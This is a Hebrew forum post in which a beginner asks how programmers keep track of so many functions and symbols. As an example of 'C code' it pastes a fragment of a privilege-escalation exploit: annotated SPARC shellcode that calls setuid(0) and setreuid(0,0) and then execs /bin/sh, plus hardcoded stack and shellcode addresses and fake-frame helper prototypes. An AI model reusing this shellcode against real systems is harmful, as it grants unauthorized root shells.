מקווה שתבינו את הבעיה שלי..
טוב אז ככה.. יש לי מדריכים טובים לכל סוג של בניית אתר ....
יש לי כמה מדריכים טובים גם לשפות תיכנות..
עכשיו זה שאלה כללית..
תמיד אני רואה בכל העסק הזה מלא פונקציות וכל מני תווים וסימנים וכל זה..
עכשיו יש מיליון כאלה ! איך אני אמור להסתדר עם כל מילה.. לדעת איך כותבים אותה ולזכור את זה..
ולדעת למה היא משמשת?
למה יש לי הרבה רצון ללמוד את העיניין הזה וזה תמיד מה שעוצר אותי .. שאני רואה את כל המילים וזה ואני חושב לעצמי " איך אני אמור לדעת מה כל זה ?" וכנראה אני רק צריך שיפול לי האסימון.. הנה לכם דוגמה של חלק קטן מקוד של משהו בשפת C#include <dlfcn.h>
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <link.h>
char SPARC_sc =
/* setuid(0) */
"\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
"\x82\x10\x20\x17" /* mov 23,%g1 | 23 == SYS_setuid()*/
"\x91\xd0\x20\x08" /* ta 8 */
/* setreuid(0,0) - for me at least, these both had to be called */
"\x92\x1a\x40\x09" /* xor %o1,%o1,%o1 */
"\x82\x10\x20\xca" /* mov 202, %g1 | 202 == SYS_setreuid()*/
"\x91\xd0\x20\x08" /* ta 8 */
/* exec(/bin/sh) */
"\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */
"\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
"\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */
"\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */
"\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */
"\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
"\xe0\x3b\xbf\xf0" /* std %l0, */
"\xd0\x23\xbf\xf8" /* st %o0, */
"\xc0\x23\xbf\xfc" /* st %g0, */
"\x82\x10\x20\x3b" /* mov 59, %g1 | 59 = SYS_execve() */
"\x91\xd0\x20\x08" /* ta 8 */
;
const long FRAME_ADDR = 0xffbee938;
const long SHELLCODE_ADDR = 0xffbef17a;
const long DESTCPY_ADDR = 0xff3e7118;
const long DEF_OFFSET = 0x20;
const int ENV_STR_SIZE = 2048;
const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */
const int DEF_FPAD_LEN = 4;
const int REC_BUF_SIZE = 1456;
char * get_ld_env(int buf_len, long offset);
char * get_fake_frame(long offset);
char * get_envs_str(char fill);
unsigned long get_strcpy_addr();
עכשיו איך אני מסתדר עם כל זה??
ואני מכיר הרבה אנשים שיודעים שפות תיכנות ולא יודע למה.. לי זה נראה בלתי אפשרי